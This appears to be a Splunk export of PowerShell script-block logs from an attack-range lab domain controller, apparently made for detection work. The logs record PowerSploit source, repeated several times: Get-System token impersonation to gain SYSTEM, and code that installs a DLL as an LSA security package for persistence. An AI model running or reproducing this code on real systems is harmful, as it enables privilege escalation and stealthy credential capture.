Write-Verbose ""[Get-System] DuplicateToken result: $LastError""
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if(-not($RetVal)) {
Write-Error ""[Get-System] SetThreadToken failed, RetVal : $RetVal"" -ErrorAction Stop
}
Write-Verbose ""[Get-System] SetThreadToken result: $LastError""
$null = $Win32Methods::CloseHandle($Handle)
}
}
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
Write-Error ""[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag"" -ErrorAction Stop
}
if($PSBoundParameters['WhoAmI']) {
Write-Output ""$([Environment]::UserDomainName)\$([Environment]::UserName)""
return
}
elseif($PSBoundParameters['RevToSelf']) {
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
$RetVal = $RevertToSelf.Invoke()
if($RetVal) {
Write-Output ""[Get-System] RevertToSelf successful.""
}
else {
Write-Warning ""[Get-System] RevertToSelf failed.""
}
Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
else {
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
Write-Error ""[Get-System] Script must be run as administrator"" -ErrorAction Stop
}
if($Technique -eq 'NamedPipe') {
# if we're using named pipe impersonation with a service
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
}
else {
# otherwise use token duplication
Get-SystemToken
}
Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
}
6dc3f998-f746-426f-86eb-4b0137800789C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\Get-System.ps1","2022-05-02T18:24:40.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122466,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122466,win,193,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0006-6E5B-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"33l = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.'
}
# Resolve the full path if a relative path was provided.
$FullDllPath = Resolve-Path $Path
# Helper function used to determine the dll architecture
function local:Get-PEArchitecture
{
Param
(
[Parameter( Position = 0,
Mandatory = $True )]
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output '32-bit'
}
elseif ($Architecture -eq '8664')
{
Write-Output '64-bit'
}
else
{
Write-Output 'Other'
}
}
$DllArchitecture = Get-PEArchitecture $FullDllPath
$OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture
if ($DllArchitecture -ne $OSArch)
{
throw 'The operating system architecture must match the architecture of the SSP dll.'
}
$Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name
# Get the dll filename without the extension.
# This will be added to the registry.
$DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} }
# Enumerate all of the currently installed SSPs
$SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' |
Select-Object -ExpandProperty 'Security Packages'
if ($SecurityPackages -contains $DllName)
{
throw ""'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.""
}
# In case you're running 32-bit PowerShell on a 64-bit OS
$NativeInstallDir = ""$($Env:windir)\Sysnative""
if (Test-Path $NativeInstallDir)
{
$InstallDir = $NativeInstallDir
}
else
{
$InstallDir = ""$($Env:windir)\System32""
}
if (Test-Path (Join-Path $InstallDir $Dll))
{
throw ""$Dll is already installed in $InstallDir.""
}
# If you've made it this far, you are clear to install the SSP dll.
Copy-Item $FullDllPath $InstallDir
$SecurityPackages += $DllName
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)
$TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage',
'secur32.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([String], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$Secur32 = $TypeBuilder.CreateType()
if ([IntPtr]::Size -eq 4) {
$StructSize = 20
}
else {
$StructSize = 24
}
$StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize)
[Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize)
$RuntimeSuccess = $True
try {
$Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
}
catch {
$HResult = $Error[0].Exception.InnerException.HResult
Write-Warning ""Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))""
Write-Warning ""Reason: $(([ComponentModel.Win32Exception] $HResult).Message)""
$RuntimeSuccess = $False
}
if ($RuntimeSuccess) {
Write-Verbose 'Installation and loading complete!'
}
else {
Write-Verbose 'Installation complete! Reboot for changes to take effect.'
}
}
function Get-SecurityPackage
{
<#
.SYNOPSIS
Enumerates all loaded security packages (SSPs).
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages.
It also parses the returned SecPkgInfo struct array.
.EXAMPLE
Get-SecurityPackage
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding()]
Param()
#region P/Invoke declarations for secur32.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False)
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
$StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32])
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
$null = $EnumBuilder.DefineLiteral('INTEGRITY', 1)
$null = $EnumBuilder.DefineLiteral('PRIVACY', 2)
$null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4)
$null = $EnumBuilder.DefineLiteral('DATAGRAM', 8)
$null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10)
$null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20)
$null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40)
$null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80)
$null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100)
$null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200)
$null = $EnumBuilder.DefineLiteral('STREAM', 0x400)
$null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800)
$null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000)
$null = $EnumBuilder.DefineLiteral('LOGON', 0x2000)
$null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000)
$null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000)
$null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000)
$null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000)
$null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000)
$null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000)
$null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000)
$null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000)
$null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000)
$null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000)
$SECPKG_FLAG = $EnumBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8)
$null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public')
$null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public')
$null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public')
$null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public')
$null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public')
$SecPkgInfo = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages',
'secur32.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$Secur32 = $TypeBuilder.CreateType()
$PackageCount = 0
$PackageArrayPtr = [IntPtr]::Zero
$Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr)
if ($Result -ne 0)
{
throw ""Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))""
}
if ($PackageCount -eq 0)
{
Write-Verbose 'There are no installed security packages.'
return
}
$StructAddress = $PackageArrayPtr
foreach ($i in 1..$PackageCount)
{
$SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo)
$StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo))
$Name = $null
if ($SecPackageStruct.Name -ne [IntPtr]::Zero)
{
$Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name)
}
$Comment = $null
if ($SecPackageStruct.Comment -ne [IntPtr]::Zero)
{
$Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment)
}
$Attributes = @{
Name = $Name
Comment = $Comment
Capabilities = $SecPackageStruct.fCapabilities
MaxTokenSize = $SecPackageStruct.cbMaxToken
}
$SecPackage = New-Object PSObject -Property $Attributes
$SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO'
$SecPackage
}
}
2bf3fb48-5590-4142-bc16-78ae39631d05C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1",,4104,122451,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,3,3,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1",,,"'5388'",,,,,,122451,,,,"2bf3fb48-5590-4142-bc16-78ae39631d05","l = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.'
}
# Resolve the full path if a relative path was provided.
$FullDllPath = Resolve-Path $Path
# Helper function used to determine the dll architecture
function local:Get-PEArchitecture
{
Param
(
[Parameter( Position = 0,
Mandatory = $True )]
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output '32-bit'
}
elseif ($Architecture -eq '8664')
{
Write-Output '64-bit'
}
else
{
Write-Output 'Other'
}
}
$DllArchitecture = Get-PEArchitecture $FullDllPath
$OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture
if ($DllArchitecture -ne $OSArch)
{
throw 'The operating system architecture must match the architecture of the SSP dll.'
}
$Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name
# Get the dll filename without the extension.
# This will be added to the registry.
$DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} }
# Enumerate all of the currently installed SSPs
$SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' |
Select-Object -ExpandProperty 'Security Packages'
if ($SecurityPackages -contains $DllName)
{
throw ""'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.""
}
# In case you're running 32-bit PowerShell on a 64-bit OS
$NativeInstallDir = ""$($Env:windir)\Sysnative""
if (Test-Path $NativeInstallDir)
{
$InstallDir = $NativeInstallDir
}
else
{
$InstallDir = ""$($Env:windir)\System32""
}
if (Test-Path (Join-Path $InstallDir $Dll))
{
throw ""$Dll is already installed in $InstallDir.""
}
# If you've made it this far, you are clear to install the SSP dll.
Copy-Item $FullDllPath $InstallDir
$SecurityPackages += $DllName
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)
$TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage',
'secur32.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([String], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$Secur32 = $TypeBuilder.CreateType()
if ([IntPtr]::Size -eq 4) {
$StructSize = 20
}
else {
$StructSize = 24
}
$StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize)
[Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize)
$RuntimeSuccess = $True
try {
$Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
}
catch {
$HResult = $Error[0].Exception.InnerException.HResult
Write-Warning ""Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))""
Write-Warning ""Reason: $(([ComponentModel.Win32Exception] $HResult).Message)""
$RuntimeSuccess = $False
}
if ($RuntimeSuccess) {
Write-Verbose 'Installation and loading complete!'
}
else {
Write-Verbose 'Installation complete! Reboot for changes to take effect.'
}
}
function Get-SecurityPackage
{
<#
.SYNOPSIS
Enumerates all loaded security packages (SSPs).
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages.
It also parses the returned SecPkgInfo struct array.
.EXAMPLE
Get-SecurityPackage
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding()]
Param()
#region P/Invoke declarations for secur32.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False)
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
$StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32])
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
$null = $EnumBuilder.DefineLiteral('INTEGRITY', 1)
$null = $EnumBuilder.DefineLiteral('PRIVACY', 2)
$null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4)
$null = $EnumBuilder.DefineLiteral('DATAGRAM', 8)
$null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10)
$null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20)
$null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40)
$null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80)
$null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100)
$null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200)
$null = $EnumBuilder.DefineLiteral('STREAM', 0x400)
$null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800)
$null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000)
$null = $EnumBuilder.DefineLiteral('LOGON', 0x2000)
$null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000)
$null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000)
$null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000)
$null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000)
$null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000)
$null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000)
$null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000)
$null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000)
$null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000)
$null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000)
$SECPKG_FLAG = $EnumBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8)
$null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public')
$null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public')
$null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public')
$null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public')
$null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public')
$SecPkgInfo = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages',
'secur32.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$Secur32 = $TypeBuilder.CreateType()
$PackageCount = 0
$PackageArrayPtr = [IntPtr]::Zero
$Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr)
if ($Result -ne 0)
{
throw ""Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))""
}
if ($PackageCount -eq 0)
{
Write-Verbose 'There are no installed security packages.'
return
}
$StructAddress = $PackageArrayPtr
foreach ($i in 1..$PackageCount)
{
$SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo)
$StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo))
$Name = $null
if ($SecPackageStruct.Name -ne [IntPtr]::Zero)
{
$Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name)
}
$Comment = $null
if ($SecPackageStruct.Comment -ne [IntPtr]::Zero)
{
$Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment)
}
$Attributes = @{
Name = $Name
Comment = $Comment
Capabilities = $SecPackageStruct.fCapabilities
MaxTokenSize = $SecPackageStruct.cbMaxToken
}
$SecPackage = New-Object PSObject -Property $Attributes
$SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO'
$SecPackage
}
}",,,,,,,,,,,"'2022-05-02T18:24:38.745672300Z'","4104132150x0122451Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122451Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local33l = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.'
}
# Resolve the full path if a relative path was provided.
$FullDllPath = Resolve-Path $Path
# Helper function used to determine the dll architecture
function local:Get-PEArchitecture
{
Param
(
[Parameter( Position = 0,
Mandatory = $True )]
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output '32-bit'
}
elseif ($Architecture -eq '8664')
{
Write-Output '64-bit'
}
else
{
Write-Output 'Other'
}
}
$DllArchitecture = Get-PEArchitecture $FullDllPath
$OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture
if ($DllArchitecture -ne $OSArch)
{
throw 'The operating system architecture must match the architecture of the SSP dll.'
}
$Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name
# Get the dll filename without the extension.
# This will be added to the registry.
$DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} }
# Enumerate all of the currently installed SSPs
$SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' |
Select-Object -ExpandProperty 'Security Packages'
if ($SecurityPackages -contains $DllName)
{
throw ""'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.""
}
# In case you're running 32-bit PowerShell on a 64-bit OS
$NativeInstallDir = ""$($Env:windir)\Sysnative""
if (Test-Path $NativeInstallDir)
{
$InstallDir = $NativeInstallDir
}
else
{
$InstallDir = ""$($Env:windir)\System32""
}
if (Test-Path (Join-Path $InstallDir $Dll))
{
throw ""$Dll is already installed in $InstallDir.""
}
# If you've made it this far, you are clear to install the SSP dll.
Copy-Item $FullDllPath $InstallDir
$SecurityPackages += $DllName
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)
$TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage',
'secur32.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([String], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$Secur32 = $TypeBuilder.CreateType()
if ([IntPtr]::Size -eq 4) {
$StructSize = 20
}
else {
$StructSize = 24
}
$StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize)
[Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize)
$RuntimeSuccess = $True
try {
$Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
}
catch {
$HResult = $Error[0].Exception.InnerException.HResult
Write-Warning ""Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))""
Write-Warning ""Reason: $(([ComponentModel.Win32Exception] $HResult).Message)""
$RuntimeSuccess = $False
}
if ($RuntimeSuccess) {
Write-Verbose 'Installation and loading complete!'
}
else {
Write-Verbose 'Installation complete! Reboot for changes to take effect.'
}
}
function Get-SecurityPackage
{
<#
.SYNOPSIS
Enumerates all loaded security packages (SSPs).
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
